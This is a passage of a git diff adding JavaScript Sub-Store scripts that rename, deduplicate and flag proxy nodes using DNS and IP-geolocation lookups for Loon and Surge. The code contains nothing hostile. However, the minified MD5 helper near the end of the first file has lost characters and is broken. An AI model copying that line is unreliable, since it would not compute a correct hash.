+ parseInt(readt, 10) - nt + parseInt(innum, 10) + ); + } else { + timedPush = zhTime( + parseInt(readt, 10) - nt + parseInt(TIMEDKEY, 10) + ); + } + Pushtd = `, ${timedPush}后过期 \n`; + } + } catch (err) {delog(err.message)} + }) + ); + o += 1; + } + if (!onen && !offtz) $.notify(subcoll+tzname, `开始处理节点: ${ein} 个 批处理数量: ${bs} 个`, "请等待处理完毕后再次点击预览"); + + let retryi = 0,breaki=false, isone = 0; + do { + let i = 0,newnode = [];isone++; + while (i < e.length) { + const batch = e.slice(i, i + bs); + await Promise.all( + batch.map(async (pk) => { + try { + let keyover = [], Yserver = pk.server,luodi = "",inQcip = "",nxx = "",adflag = "",OGame="",Oisp="",Oispflag="",Osh="", Oct="",zhi = "",yuanisp ="",isCN = false,v4 = false, v6 = false, isNoAli = false; + let inServer = await AliD(Yserver); + delog(inServer) + switch (inServer) { + case "keyn": + isNoAli = true; + inServer = Yserver; + break; + default: + pk.keyrk = inServer; + if (!isNoAli) { + if (/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(inServer)) { + v4 = true; + } else if (/^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/.test(inServer)) { + v6 = true; + } + } + break; + } + + let btip = true,outu="",outips=""; + if (!xy || yisp || yw || flag) { + if (!support) { + $.notify("No Loon or Surge") + $.error(`No Loon or Surge, 开启 yisp || yw || flag 参数后 xy 参数无效`); + return e; + } + + const outip = await OUTIA(pk); + let {country:outUsq, countryCode:outUs, city:outCity, query:outQuery, isp:outisp} = outip;//落地 + if (yisp) { + yuanisp = FGFS+outisp + }; + debug && (pk.keyoutld = outip); + delog("落地信息 " + JSON.stringify(outip)) + outu = outUs; + outips = outQuery; + luodi = (outUsq === "中国") ? outCity : (yw ? outUs : outUsq); + btip = outQuery !== inServer + }; + + if (btip || xy) { + if (!isNoAli || v4) { + const spkey = await SPEC(inServer); + let {country:inSpCn,regionName:inSpSheng,city:inSpCity,isp:inSpIsp,ip:inSpIp,countryCode:inCode} = spkey; + inflag && (iflag = getflag(inCode)); + debug && (pk.keyinsp = spkey); + isCN = inSpCn === "中国"; + inQcip = inServer; + const keycm = {电信:"🅳", 联通:"🅻", 移动: "🆈",广电:"🅶"}; + if (isCN){ + debug && (pk.keyinsp = spkey) + delog("国内入口 " + JSON.stringify(spkey)); + if(iisp && flag){ + inSpIsp=inSpIsp.replace(/中国/g, "") + flag && (Oispflag = keycm.hasOwnProperty(inSpIsp) ? keycm[inSpIsp] : "🅲"); + } else if(iisp){ + Oisp = /电信|联通|移动|广电/.test(inSpIsp) ? inSpIsp.replace(/中国/g, "") : "企业"; + } + (inSpSheng === inSpCity) && (inSpCity = ""); + + if (sheng && city){ + Osh = inSpSheng;Oct = inSpCity + } else if (sheng){ + Osh = inSpSheng; + } else if (city){ + Oct = inSpCity ? inSpCity : inSpSheng; + } + + } + } + if (isNoAli || v6 || !isCN) { + const inip = await INIA(Yserver); + let {country: inUsq, city: inCity, query: inQuery, regionName: inIpSh, countryCode:inaCode} = inip; + inflag && (iflag = getflag(inaCode)); + debug && (pk.keyinipapi = inip); + delog("ipapi入口 " + JSON.stringify(inip)); + inQcip = inQuery; //去重ip + if (inUsq === "中国") { + // inCity === inUs ? (incity=inCity) + (/[a-zA-Z]/.test(inCity)) && (inCity = inIpSh); + (inCity === inIpSh) && (inIpSh=""); + if (sheng && city){ + Osh = inIpSh;Oct = inCity; + } else if (sheng){ + Osh = inIpSh; + } else if (city){ + Oct = inCity ? inCity : inIpSh; + } + // 运营商 未知 + flag && (Oispflag = "🅲"); + + } else { + if(inQuery === outips){ + flag && (Oispflag = "🆉"); + (sheng || city || iisp) && (zhi = "直连"); + } else if (yuan){ + flag && (Oispflag = "🅲"); + (sheng || city || iisp) && (zhi = inUsq); + } else { + flag && (Oispflag = "🆇"); + (sheng || city || iisp) && (zhi = "境外"); + } + } + } + } else { + flag && (Oispflag = "🆉"); + (sheng || city || iisp) && (zhi = "直连"); + } + flag && (adflag = getflag(outu)); + game && (OGame = /game|游戏/i.test(pk.name) ? (flag ? "🎮" : FGF+"Game") : OGame); + if (bl){ + const match = pk.name.match(/((倍率|X|x|×)\D?((\d\.)?\d+)\D?)|((\d\.)?\d+)(倍|X|x|×)/); + if (match) { + const matchVa = match[0].match(/(\d[\d.]*)/)[0]; + if (matchVa !== "1") { + nxx = XHFGF + matchVa + "X"; + } + } + } + (!iisp && !city && !sheng && !xy && !inflag) && (Oispflag = "",FGF =""); + keyover = keyover.concat( + firstN, Oispflag,Osh,Oct,Oisp,zhi,FGF,adflag,luodi,OGame,nxx,yuanisp + ).filter(ki => ki !== ""); + // delog(keyover) + let overName = keyover.join(""); + xy && (overName = iflag +overName +FGF+ pk.name); + // delog(overName) + newnode.push(outips); + dns && (pk.server = inQcip); + pk.name = overName; + inflag && (pk.name = iflag + overName); + pk.qc = inQcip + outips; + } catch (err) { + if (inapi >= 1) { + retryi++; + breaki = true; + } + delog(err.message) + }; + }) + ); + i += bs; + klog(`处理进度${i}/${ein}`) + if (!onen){ + if(!offtz && (ein > (i*2))){ + if (i >= (e.length / 3) && i < (e.length * 2 / 3) && ein>i) { + $.notify(subcoll+tzname, `处理进度${i}/${ein}`, "耐心等待, 请勿重复点击预览..."); + } + } + await sleep(GRa()); + } + } + !xy && (e = removels(e)); + var eout = e.length; + if (eout > 3 && isSurge){ + const allsame = newnode.every((value, index, arr) => value === arr[0]); + if(allsame){ + klog(`未使用带指定节点功能的 SubStore, 或所有节点落地IP相同`); + $.notify('CNAME:点击以安装对应版本','未使用带指定节点功能的 SubStore,或所有节点落地IP相同','',{url: "https://raw.githubusercontent.com/sub-store-org/Sub-Store/master/config/Surge-ability.sgmodule",}) + return e; + } + } + if (inapi >= 1) { + retryi++; + timeout = rawtime; + onen = false; + spMap.clear();alMap.clear();iaMap.clear();oaMap.clear(); + klog(`重试中...`); + } else { + retryi = 2; + } + } while(retryi < 2); + + !xy && (e = removeqc(e)); + e = jxh(e); + // if (firstN !== "") {e.forEach((pk) => {pk.name = firstN + " " + pk.name;});} + numone && (e = onee(e)); + const endTime = new Date(); + const timeDiff = endTime.getTime() - startTime.getTime(); + if (dns) { + klog(`dns解析后共: ${eout} 个`); + } + apiRead > 0 ? klog(`读取api缓存: ${apiRead} 个`) : null; + apiw > 0 ? klog(`写入api缓存: ${apiw} 个`) : null; + klog(`处理完后剩余: ${eout} 个`); + // const Nullv ='#SubStoreNullvalue'; + // if (eout === 0 && ein !== 0){ + // let Nullvi = parseInt($.read(Nullv), 10); + // if (isNaN(Nullvi)) { + // klog(`错误1次, 3次后将清理所有节点缓存`); + // $.write("0", Nullv); + // } else { + // Nullvi += 1; + // klog(`错误${Nullvi}次, 3次后将清理所有节点缓存`); + // $.write(Nullvi.toString(), Nullv); + // } + // if (Nullvi > 3) { + // $.write({}, "#sub-store-cached-script-resource"); + // klog(`错误${Nullvi}次, 已清理所有节点缓存`); + // Nullvi = 0; + // $.write(Nullvi.toString(), Nullv); + // } + // } + if (isLoon) { + klog("缓存过期时间: " + intimed + ", 还剩" + Pushtd.replace(/,|\n/g, "")); + } else { + klog("缓存过期时间: " +zhTime(TIMEDKEY) +", 还剩" +Pushtd.replace(/,|\n/g, "")); + } + klog(`此方法总用时: ${zhTime(timeDiff)}\n----For New CNAME----\n\n\n\n\n`); + const readklog = apiRead ? `读取缓存:${apiRead} ` : ""; + const writeklog = apiw ? `写入缓存:${apiw}, ` : ""; + const Push = (eout === ein && eout === 0) ? "" : (eout === ein ? "全部通过测试, " : "去除无效节点后有" + eout + "个, "); + if (!offtz) {$.notify( + `${subcoll}${tzname} 共${ein}个节点`, + "", + `${writeklog}${readklog}${Pushtd}${Push}用时:${zhTime(timeDiff)}` + );} + return e; +} + +function getflag(e) { const t = e .toUpperCase() .split("") .map((e) => 127397 + e.charCodeAt()); return String.fromCodePoint(...t).replace(/🇹🇼/g, "🇨🇳"); } function sleep(e) { return new Promise((t) => setTimeout(t, e)); } let apiRead = 0, apiw = 0; +const oaMap = new Map(); async function OUTIA(e) { const t = getid(e); if (oaMap.has(t)) return oaMap.get(t); const cached = scriptResourceCache.get(t);if (cached) { apiRead++; return cached; } else {inapi++;};const maxRE = 2; const url = `http://ip-api.com/json?lang=zh-CN&fields=status,message,country,countryCode,city,query,isp`; const getHttp = async (reTry) => { try { let r = ProxyUtils.produce([e], target); const response = await Promise.race([ $.http.get({ url: url, node: r, "policy-descriptor": r }), new Promise((_, reject) => setTimeout(() => reject(new Error("timeout-OUTIA")), timeout) ), ]); const data = JSON.parse(response.body); if (data.status === "success") { scriptResourceCache.set(t, data); return data; } else { throw new Error(resdata.message); } } catch (error) { if (reTry < maxRE) { await sleep(GRa()); delog(e.name + "-> [outipApi超时查询次数] " + reTry); return getHttp(reTry + 1); } else { throw error; } } }; const resGet = new Promise((resolve, reject) => { if (cd < 1 && onen) return resGet; getHttp(1) .then((data) => { apiw++; resolve(data); }) .catch(reject); }); oaMap.set(t, resGet); return resGet; }; +const alMap = new Map(); async function AliD(e) { const ti = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$|^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/.test( e ); if (ti) return e; const t = getaliid(e); if (alMap.has(t)) return alMap.get(t); const cached = scriptResourceCache.get(t); if (cached) { apiRead++; return cached;} else {inapi++;};const maxRE = 2; let alip = Math.random() < 0.5 ? '223.5.5.5' : '223.6.6.6';const url = `https://${alip}/resolve?name=${e}&type=A&short=1`; const getHttp = async (reTry) => { try { const response = await Promise.race([ $.http.get({ url: url }), new Promise((_, reject) => setTimeout(() => reject(new Error("timeout-AliD")), timeout) ), ]); const resdata = JSON.parse(response.body); if (resdata.length > 0) { scriptResourceCache.set(t, resdata[0]); return resdata[0]; } else { return "keyn"; } } catch (error) { if (reTry < maxRE) { await sleep(GRa()); delog(e + " [->Ali超时查询次数] " + reTry); return getHttp(reTry + 1); } else { throw error; } } }; const resGet = new Promise((resolve, reject) => { if (cd < 1 && onen) { return resGet; } else { getHttp(1) .then((data) => { resolve(data); }) .catch(reject); } }); alMap.set(t, resGet); return resGet; };function getaliid(e){let t="al";return MD5(`${t}-${e}`)};function getspcn(e){let t="sc";return MD5(`${t}-${e}`)}; +const spMap = new Map(); async function SPEC(e) { const n = getspcn(e); if (spMap.has(n)) return spMap.get(n);const cached = scriptResourceCache.get(n); if (cached) {apiRead++;return cached;} else {inapi++;}; const maxRE = 2; const url = `https://api-v${keyp}${keypr}.cn/ip?ip=${e}`; const getHttp = async (reTry) => { try { const response = await Promise.race([ $.http.get({ url: url }), new Promise((_, reject) => setTimeout(() => reject(new Error("timeout-SPEC")), timeout) ), ]); const resdata = JSON.parse(response.body); delog(resdata); if (resdata.data) { const { country: e, province: o, city: r, isp: i, ip: c, countryCode: k, } = resdata.data; const a = { country: e, regionName: o, city: r, isp: i, ip: c, countryCode: k, }; delog("写入"); scriptResourceCache.set(n, a); return a; } else { throw new Error(resdata.message); } } catch (error) { if (reTry < maxRE) { await sleep(GRa()); delog(e + "-> [SP超时查询次数] " + reTry); return getHttp(reTry + 1); } else { throw error; } } }; const resGet = new Promise((resolve, reject) => {if (cd < 1 && onen) return resGet; getHttp(1) .then((data) => { resolve(data); }) .catch(reject); }); spMap.set(n, resGet); return resGet; }; +const iaMap = new Map(); async function INIA(e) { const t = getinid(e); if (iaMap.has(t)) return iaMap.get(t); const cached = scriptResourceCache.get(t); if (cached) {apiRead++;return cached;} else {inapi++;}; const maxRE = 2; const url = `http://ip-api.com/json/${e}?lang=zh-CN&fields=status,message,country,city,query,regionName,countryCode`; const getHttp = async (reTry) => { try { delog(url); const response = await Promise.race([ $.http.get({ url: url }), new Promise((_, reject) => setTimeout(() => reject(new Error("timeout-INIA")), timeout) ), ]); const data = JSON.parse(response.body); if (data.status === "success") { scriptResourceCache.set(t, data); return data; } else { throw new Error(resdata.message); } } catch (error) { if (reTry < maxRE) { await sleep(GRa()); delog(e + "-> [inipApi超时查询次数] " + reTry); return getHttp(reTry + 1); } else { throw error; } } }; const resGet = new Promise((resolve, reject) => { if (cd < 1 && onen) return resGet; getHttp(1) .then((data) => { resolve(data); }) .catch(reject); }); iaMap.set(t, resGet); return resGet; } function GRa() { return Math.floor(Math.random() * (500 - 50 + 1) + 50); }; +function delog(...arg) { if (debug) { console.log("[CNAME] :" + arg); } } function removels(e) { const t = new Set(); const n = []; for (const s of e) { if (s.qc && !t.has(s.qc)) { t.add(s.qc); n.push(s); } } return n; } function removeqc(e) { const t = new Set(); const n = []; for (const s of e) { if (!t.has(s.qc)) { t.add(s.qc); const e = { ...s }; delete e.qc; n.push(e); } } return n; } function jxh(e) { const t = e.reduce((e, t) => { const n = e.find((e) => e.name === t.name); if (n) { n.count++; n.items.push({ ...t, name: `${t.name}${XHFGF}${n.count.toString().padStart(2, "0")}`, }); } else { e.push({ name: t.name, count: 1, items: [{ ...t, name: `${t.name}${XHFGF}01` }], }); } return e; }, []); const n = t.flatMap((e) => e.items); e.splice(0, e.length, ...n); return e; } +function onee(e) { const t = e.reduce((e, t) => { const n = t.name.replace(/[^A-Za-z0-9\u00C0-\u017F\u4E00-\u9FFF]+\d+$/, ""); if (!e[n]) { e[n] = []; } e[n].push(t); return e; }, {}); for (const e in t) { if (t[e].length === 1 && t[e][0].name.endsWith("01")) { t[e][0].name= t[e][0].name.replace(/[^.]01/, "") } } return e; } +function zhTime(e) { e = e.toString().replace(/-/g, ""); if (e < 1e3) { return `${Math.round(e)}毫秒`; } else if (e < 6e4) { return `${Math.round(e / 1e3)}秒`; } else if (e < 36e5) { return `${Math.round(e / 6e4)}分钟`; } else if (e >= 36e5) { return `${Math.round(e / 36e5)}小时`; } } +var MD5=function(e){var t=M(V(Y(X(e),8*e.length)));return t.toLowerCase()};function M(e){for(var t,n="0123456789ABCDEF",s="",o=0;o>>4&15)+n.charAt(15&t);return s}function X(e){for(var t=Array(e.length>>2),n=0;n>5]|=(255&e.charCodeAt(n/8))<>5]>>>n%32&255);return t}function Y(e,t){e[t>>5]|=128<>>9<<4)]=t;for(var n=1732584193,s=-271733879,o=-1732584194,r=271733878,i=0;i>16)+(t>>16)+(n>>16)<<16|65535&n}function bit_rol(e,t){return e<>>32-t}function getid(e){let t="ld";return MD5(`${t}-${e.server}-${e.port}`)}function getinid(e){let t="ia";return MD5(`${t}-${e}`)}; diff --git a/Scripts/SubStore/rename_simple.js b/Scripts/SubStore/rename_simple.js new file mode 100644 index 00000000..28ff39c6 --- /dev/null +++ b/Scripts/SubStore/rename_simple.js @@ -0,0 +1,177 @@ +//############################################ +// 脚本作者:@奶茶姐 感谢@key,@sub-store-org +// 重要提示:无缓存版本可能会出现超时现象,建议上传至gist后订阅gist链接 +// 脚本地址:https://github.com/fmz200/wool_scripts/raw/main/Scripts/SubStore/rename_simple.js +// 脚本作用:在SubStore内对节点重命名,排序,去除ping失败的节点 +// 使用方法:SubStore内选择“脚本操作”,然后填写上面的脚本地址 +// 支持平台:✅Loon,✅Surge,❌QuanX(待QX开发者支持),❌Stash(待开发者支持),❌ShadowRocket(待开发者支持) +// 更新时间:2023.05.07 20:25 +//############################################ + +const $ = $substore; +const DELIMITER = "|"; // 分隔符 +const {isLoon, isSurge, isQX} = $substore.env; +// 节点转换的目标类型 +const target = isLoon ? "Loon" : isSurge ? "Surge" : isQX ? "QX" : undefined; +// 判断传入超时 值,单位:ms +const timeout = $arguments['timeout'] ? $arguments['timeout'] : 5000; +// argument传入 flag 时候,添加国旗 +const flag = $arguments['flag']; +// 每一次处理的节点个数 +const batch_size = $arguments['batch']? $arguments['batch'] : 10; + +async function operator(proxies) { + const startTime = new Date(); // 获取当前时间作为开始时间 + console.log("✅💕初始节点个数 = " + proxies.length); + console.log("✅💕节点超时时间 = " + timeout); + console.log("✅💕批处理的节点个数 = " + batch_size); + // console.log("✅💕去重前的节点信息 = " + JSON.stringify(proxies)); + + const support = (isLoon || (isSurge && parseInt($environment['surge-build']) >= 2000)); + if (!support) { + $.error(`🚫该脚本只支持Loon、Surge,其他平台待开发者支持!`); + return proxies; + } + + let i = 0; + while (i < proxies.length) { + const batch = proxies.slice(i, i + batch_size); + await Promise.allSettled(batch.map(async proxy => { + try { + // 查询入口IP信息 + const in_info = await queryInInfo(proxy.server); + // console.log(proxy.server + "✅💕in节点信息 = " + JSON.stringify(in_info)); + + // 查询出口IP信息 + const out_info = await queryOutInfo(proxy); + // console.log(proxy.server + "✅💕out节点信息 = " + JSON.stringify(out_info)); + + // 节点重命名为:旗帜|策略|序号 + const type = in_info.data === out_info.query ? "直连" : "中转"; + proxy.name = getFlagEmoji(out_info.countryCode) + DELIMITER + type + "→" + out_info.country; + + // 新增一个去重用字段,该字段重复就是重复节点:入口IP|出口IP,无此字段表示ping失败 + proxy.qc = in_info.data + DELIMITER + out_info.query; + proxy.px = out_info.countryCode; + } catch (err) { + console.log(`⚠️while err = ${err}`); + } + })); + + // await sleep(300); + i += batch_size; + } + // console.log("💰💕去重前的节点信息 = " + JSON.stringify(proxies)); + // 去除重复的节点,排序,再加个序号 + proxies = rmDupNameAndGroupAndEnumerate(proxies); + // console.log("✅💕去重后的节点信息 = " + JSON.stringify(proxies)); + console.log(`✅💕去重后的节点个数 = ${proxies.length}`); + + const endTime = new Date(); // 获取当前时间作为结束时间 + const timeDiff = endTime.getTime() - startTime.getTime(); // 获取时间差(以毫秒为单位) + console.log(`✅💕方法总耗时: ${timeDiff / 1000} seconds`); // 将时间差转换为秒并打印到控制台上 + + return proxies; +} + +// 查询入口 阿里dns +async function queryInInfo(server) { + return new Promise((resolve, reject) => { + const data = {data: server}; + const url = `http://223.5.5.5/resolve?name=${server}`; + $.http.get({ + url + }).then(resp => { + const body = JSON.parse(resp.body); + if (body.Status === 0) { + // Status: 0,成功,返回最下面的ip + resolve(body.Answer[body.Answer.length - 1]); + } else { + resolve(data); + } + }).catch(err => { + console.log("⚠️In err = " + err); + resolve(data); + }); + }); +} + +async function queryOutInfo(proxy) { + return new Promise((resolve, reject) => { + const url = `http://ip-api.com/json?lang=zh-CN&fields=status,message,country,countryCode,city,query`; + let node = ProxyUtils.produce([proxy], target); + + const timeoutPromise = new Promise((_, reject) => { + setTimeout(() => { + reject(new Error("请求超时")); + }, timeout); + }); + + const queryPromise = + $.http.get({ + url, + opts: {policy: node}, // QX的写法,目前QX本身不支持 + node: node, // Loon,Surge IOS + "policy-descriptor": node // Surge MAC + }).then(resp => { + const body = JSON.parse(resp.body); + if (body.status === "success") { + resolve(body); + } else { + reject(new Error(body.message)); + } + }).catch(err => { + reject(err); + }); + // 超时处理 + Promise.race([timeoutPromise, queryPromise]) + .catch(err => { + reject(err); + }); + }); +} + +function getFlagEmoji(countryCode) { + const codePoints = countryCode + .toUpperCase() + .split('') + .map(char => 127397 + char.charCodeAt()); + return String + .fromCodePoint(...codePoints) + .replace(/🇹🇼/g, '🇨🇳'); +} + +function rmDupNameAndGroupAndEnumerate(arr) { + // 去重 + const nameSet = new Set(); + const result = []; + for (const e of arr) { + if (e.qc && !nameSet.has(e.qc)) { + nameSet.add(e.qc); + result.push(e); + } + } + + // 将对象按照 sort 属性分组 + const groups = result.reduce((result, item) => { + const key = item.px; + if (!result[key]) { + result[key] = []; + } + result[key].push(item); + return result; + }, {}); + + // 给每个分组中的对象的 name 属性加上两位数序号 + for (const groupKey in groups) { + if (groups.hasOwnProperty(groupKey)) { + const group = groups[groupKey]; + group.forEach((item, index) => { + item.name = `${item.name}${DELIMITER}${index < 9 ? '0' : ''}${index + 1}`; + }); + } + } + + // 将修改后的集合返回 + return Object.values(groups).flat(); +} diff --git a/Scripts/SubStore/rename_simple_dev.js b/Scripts/SubStore/rename_simple_dev.js new file mode 100644 index 00000000..77dd5c34 --- /dev/null +++ b/Scripts/SubStore/rename_simple_dev.js @@ -0,0 +1,174 @@ +//############################################ +// 脚本作者:@奶茶姐 感谢@key,@sub-store-org +// 重要提示:该脚本是测试脚本,请使用 https://github.com/fmz200/wool_scripts/raw/main/Scripts/SubStore/rename_simple.js +// 脚本地址:https://github.com/fmz200/wool_scripts/raw/main/Scripts/SubStore/rename_simple_dev.js +// 脚本作用:在SubStore内对节点重命名,排序,去除ping失败的节点 +// 使用方法:SubStore内选择“脚本操作”,然后填写上面的脚本地址 +// 支持平台:✅Loon,✅Surge,❌QuanX(待开发者支持),❌Stash(待开发者支持),❌ShadowRocket(待开发者支持) +// 更新时间:2023.05.07 20:25 +//############################################ + +const $ = $substore; +const DELIMITER = "|"; // 分隔符 +const {isLoon, isSurge, isQX} = $substore.env; +// 节点转换的目标类型 +const target = isLoon ? "Loon" : isSurge ? "Surge" : isQX ? "QX" : undefined; +// 判断传入超时 值,单位:ms +const timeout = $arguments['timeout'] ? $arguments['timeout'] : 5000; +// argument传入 flag 时候,添加国旗 +const flag = $arguments['flag']; +// 每一次处理的节点个数 +const batch_size = $arguments['batch'] ? $arguments['batch'] : 10; + +async function operator(proxies) { + const startTime = new Date(); // 获取当前时间作为开始时间 + const server_count = proxies.length; + console.log("✅💕去重前节点个数 = " + server_count); + console.log("✅💕节点超时时间 = " + timeout); + console.log("✅💕批处理节点个数 = " + batch_size); + // console.log("✅💕$environment = " + JSON.stringify($environment)); + // console.log("✅💕$arguments = " + JSON.stringify($arguments)); + // console.log("✅💕去重前的节点信息 = " + JSON.stringify(proxies)); + + const support = (isLoon || (isSurge && parseInt($environment['surge-build']) >= 2000)); + if (!support) { + $.error(`🚫该脚本只支持Loon、Surge,其他平台待开发者支持!`); + return proxies; + } + + await Promise.allSettled(proxies.map(async proxy => { + try { + // 查询入口IP信息 + const in_info = await queryInInfo(proxy.server); + // console.log(proxy.server + "✅💕in节点信息 = " + JSON.stringify(in_info)); + + // 查询出口IP信息 + const out_info = await queryOutInfo(proxy); + // console.log(proxy.server + "✅💕out节点信息 = " + JSON.stringify(out_info)); + + // 节点重命名为:旗帜|策略|序号 + const type = in_info.data === out_info.query ? "直连" : "中转"; + proxy.name = getFlagEmoji(out_info.countryCode) + DELIMITER + type + "→" + out_info.country; + + // 新增一个去重用字段,该字段重复就是重复节点:入口IP|出口IP,无此字段表示ping失败 + proxy.qc = in_info.data + DELIMITER + out_info.query; + proxy.px = out_info.countryCode; + } catch (err) { + console.log(`⚠️while err = ${err}`); + } + })); + + // 去除重复的节点,排序,再加个序号 + proxies = rmDupNameAndGroupAndEnumerate(proxies); + // console.log("✅💕去重后的节点信息 = " + JSON.stringify(proxies)); + console.log(`✅💕去重后节点个数 = ${proxies.length},共去除 ${server_count - proxies.length} 个节点`); + + const endTime = new Date(); // 获取当前时间作为结束时间 + const timeDiff = endTime.getTime() - startTime.getTime(); // 获取时间差(以毫秒为单位) + console.log(`✅💕脚本运行总耗时: ${timeDiff / 1000} seconds`); // 将时间差转换为秒并打印到控制台上 + + return proxies; +} + +// 查询入口 阿里dns +async function queryInInfo(server) { + return new Promise((resolve, reject) => { + const data = {data: server}; + const url = `http://223.5.5.5/resolve?name=${server}`; + $.http.get({ + url + }).then(resp => { + const body = JSON.parse(resp.body); + if (body.Status === 0) { + // Status: 0,成功,返回最下面的ip + resolve(body.Answer[body.Answer.length - 1]); + } else { + resolve(data); + } + }).catch(err => { + console.log("⚠️In err = " + err); + resolve(data); + }); + }); +} + +async function queryOutInfo(proxy) { + return new Promise((resolve, reject) => { + const url = `http://ip-api.com/json?lang=zh-CN&fields=status,message,country,countryCode,city,query`; + let node = ProxyUtils.produce([proxy], target); + + const timeoutPromise = new Promise((_, reject) => { + setTimeout(() => { + reject(new Error("请求超时")); + }, timeout); + }); + + const queryPromise = + $.http.get({ + url, + opts: {policy: node}, // QX的写法,目前QX本身不支持 + node: node, // Loon,Surge IOS + "policy-descriptor": node, // Surge MAC + // timeout: 2000, // 请求超时,单位ms,默认5000ms + }).then(resp => { + const body = JSON.parse(resp.body); + if (body.status === "success") { + resolve(body); + } else { + reject(new Error(body.message)); + } + }).catch(err => { + reject(err); + }); + // 超时处理 + Promise.race([timeoutPromise, queryPromise]) + .catch(err => { + reject(err); + }); + }); +} + +function getFlagEmoji(countryCode) { + const codePoints = countryCode + .toUpperCase() + .split('') + .map(char => 127397 + char.charCodeAt()); + return String + .fromCodePoint(...codePoints) + .replace(/🇹🇼/g, '🇨🇳'); +} + +function rmDupNameAndGroupAndEnumerate(arr) { + // 去重 + const nameSet = new Set(); + const result = []; + for (const e of arr) { + if (e.qc && !nameSet.has(e.qc)) { + nameSet.add(e.qc); + result.push(e); + } + } + + // 将对象按照 sort 属性分组 + const groups = result.reduce((result, item) => { + const key = item.px; + if (!result[key]) { + result[key] = []; + } + result[key].push(item); + return result; + }, {}); + + // 给每个分组中的对象的 name 属性加上两位数序号 + for (const groupKey in groups) { + if (groups.hasOwnProperty(groupKey)) { + const group = groups[groupKey]; + group.forEach((item, index) => { + item.name = `${item.name}${DELIMITER}${index < 9 ? '0' : ''}${index + 1}`; + }); + } + } + + // 将修改后的集合返回 + return Object.values(groups).flat(); +} diff --git a/Scripts/SubStore/server_rename.js b/Scripts/SubStore/server_rename.js new file mode 100644 index 00000000..fb899e81 --- /dev/null +++ b/Scripts/SubStore/server_rename.js @@ -0,0 +1,275 @@ +//############################################ +// 脚本作者:@奶茶姐 感谢@key,@sub-store-org +// 原始地址:https://github.com/sub-store-org/Sub-Store/blob/master/scripts/ip-flag.js +// 脚本地址:https://github.com/fmz200/wool_scripts/raw/main/Scripts/SubStore/server_rename.js +// 脚本作用:在SubStore内对节点重命名为:旗帜|地区代码|地区名称|IP|序号, +// 使用方法:SubStore内选择“脚本操作”,然后填写上面的脚本地址 +// 支持平台:✅Loon,✅Surge,❌QuanX(待开发者支持),❌Stash(待开发者支持),❌ShadowRocket(待开发者支持) +// 更新时间:2023.05.07 20:25 +//############################################ + +const RESOURCE_CACHE_KEY = '#sub-store-cached-resource'; +const CACHE_EXPIRATION_TIME_MS = 10 * 60 * 1000; +const $ = $substore; + +class ResourceCache { + constructor(expires) { + this.expires = expires; + const cachedData = $.read(RESOURCE_CACHE_KEY); + if (!cachedData) { + this.resourceCache = {}; + this._persist(); + } else { + this.resourceCache = JSON.parse(cachedData); + } + this._cleanup(); + } + + _cleanup() { + // clear obsolete cached resource + let clear = false; + const now = new Date().getTime(); + Object.keys(this.resourceCache).forEach((id) => { + const updated = this.resourceCache[id]; + if (!updated.time || now - updated.time > this.expires) { + delete this.resourceCache[id]; + $.delete(`#${id}`); + clear = true; + } + }); + if (clear) this._persist(); + } + + revokeAll() { + this.resourceCache = {}; + this._persist(); + } + + _persist() { + $.write(JSON.stringify(this.resourceCache), RESOURCE_CACHE_KEY); + } + + get(id) { + const updated = this.resourceCache[id] && this.resourceCache[id].time; + if (updated && new Date().getTime() - updated <= this.expires) { + return this.resourceCache[id].data; + } + return null; + } + + set(id, value) { + this.resourceCache[id] = {time: new Date().getTime(), data: value} + this._persist(); + } +} + +const resourceCache = new ResourceCache(CACHE_EXPIRATION_TIME_MS); +// let nodes = []; +const DELIMITER = "|"; // 分隔符 + +const {isLoon, isSurge, isQX} = $substore.env; + +let target; // 节点转换的目标类型 +if (isLoon) { + target = "Loon"; +} else if (isSurge) { + target = "Surge"; +} else if (isQX) { + target = "QX"; +} + +async function operator(proxies) { + // console.log("✅💕proxies = " + JSON.stringify(proxies)); + console.log("✅💕初始节点个数 = " + proxies.length); + // $.write(JSON.stringify(proxies), "#sub-store-proxies"); + + let support = false; + if (isLoon || isQX) { + support = true; + } else if (isSurge) { + const build = $environment['surge-build']; + if (build && parseInt(build) >= 2407) { + support = true; + } + } + + if (!support) { + $.error(`🚫该脚本只支持Loon、Surge,其他平台待开发者支持!`); + return proxies; + } + + const BATCH_SIZE = 10; // 每一次处理的节点个数 + let i = 0; + while (i < proxies.length) { + const batch = proxies.slice(i, i + BATCH_SIZE); + await Promise.allSettled(batch.map(async proxy => { + try { + // 这里最理想的处理方式是只把节点名字中的旗帜和地区名字删除,但保留其他信息 + // 例如:[🇭🇰香港 专线|3倍率] 只保留👉🏻 [专线|3倍率] + // 最后节点重命名为:旗帜|地区代码|地区名称|ip|其他信息 + // 例如:[🇺🇸|US|美国|1.2.3.4|专线|3倍率] + + // remove the original flag 移除旗帜 + // let proxyName = removeFlag(proxy.name); + // 本来想把原来的标签加上删除线或者下划线,但是实现不了 + // query ip-api + const code_name = await queryIpApi(proxy); + // 地区代码|地区名称|IP + const countryCode = code_name.substring(0, code_name.indexOf(DELIMITER)); + // 节点重命名为:旗帜|地区代码|地区名称|IP|序号 + proxy.name = getFlagEmoji(countryCode) + DELIMITER + code_name; + } catch (err) { + console.log(`✅💕err=${err}`); + } + })); + + await sleep(1000); + i += BATCH_SIZE; + } + // 去除重复的节点 + // 直接写proxies = removeDuplicateName(proxies);不生效 + proxies = removeDuplicateName(proxies); + console.log(`✅💕去重后的节点个数 = ${proxies.length}`); + // 再加个序号 + for (let j = 0; j < proxies.length; j++) { + const index = (j + 1).toString().padStart(2, '0'); + proxies[j].name = proxies[j].name + DELIMITER + index; + } + + // $.write(JSON.stringify(nodes), "#sub-store-nodes"); + return proxies; +} + +// JS数组中去除重复元素 +function removeDuplicatesItem(arr) { + return Array.from(new Set(arr)); +} + +// 根据节点名字去除重复的节点 +function removeDuplicateName(arr) { + const nameSet = new Set(); + const result = []; + for (const e of arr) { + if (!nameSet.has(e.name)) { + result.push(e); + nameSet.add(e.name); + } + } + return result; +} + +/** + * 假设你有一个包含对象的数组,每个对象中有多个属性,你想根据其中的某一个或多个属性去除重复的元素并返回一个新数组。 + * 示例用法: + * const arr = [ + * { name: "John", age: 30, country: "USA" }, + * { name: "Jane", age: 25, country: "Canada" }, + * { name: 